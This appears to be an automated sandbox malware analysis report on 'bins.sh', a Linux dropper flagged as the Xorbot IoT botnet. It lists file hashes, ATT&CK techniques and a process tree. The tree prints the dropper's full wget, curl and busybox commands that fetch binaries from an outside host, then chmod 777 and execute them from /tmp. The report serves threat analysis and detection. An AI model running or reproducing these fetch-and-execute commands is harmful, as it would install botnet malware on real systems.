xorbot | d13a514fd4de018f7cabcf5c26291f41d43207a3da634a190ef9258601b6287c

Analysis

max time kernel
149s
max time network
131s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
11/12/2024, 12:15

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General

Target

bins.sh
Size

10KB
MD5

e383a35fbdaa3101cb6dcac434940f6c
SHA1

238b83c8544b6c90523da860f3d56db797407d1c
SHA256

d13a514fd4de018f7cabcf5c26291f41d43207a3da634a190ef9258601b6287c
SHA512

9acb346e3036fb9b3cf72ea34b961177afe6a2a3abf6dfcb611e9bc0dfa06af8030316540485f9417e5df88ba7dd604a013564e71d84ceb238cdd594f9c1b708
SSDEEP

192:5h0JMyypIRiitsPA4JNex5aGVJh47v+5XXw9Z5iitstJNupaGTJh47veXXw9ZFg3:5h5A4JNexTXJNucC

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1502	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83	1506	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1491	wget
1494	curl
1501	busybox
1509	wget
1510	curl

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1486
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1488
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  2⤵
  - System Network Configuration Discovery
  PID:1491
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1494
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  2⤵
  - System Network Configuration Discovery
  PID:1501
- /bin/chmod
  chmod 777 xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  2⤵
  - File and Directory Permissions Modification
  PID:1502
- /tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  ./xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  2⤵
  - Executes dropped EXE
  PID:1506
- /bin/rm
  rm xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  2⤵
  PID:1508
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
  2⤵
  - System Network Configuration Discovery
  PID:1509
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
  2⤵
  - System Network Configuration Discovery
  PID:1510

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

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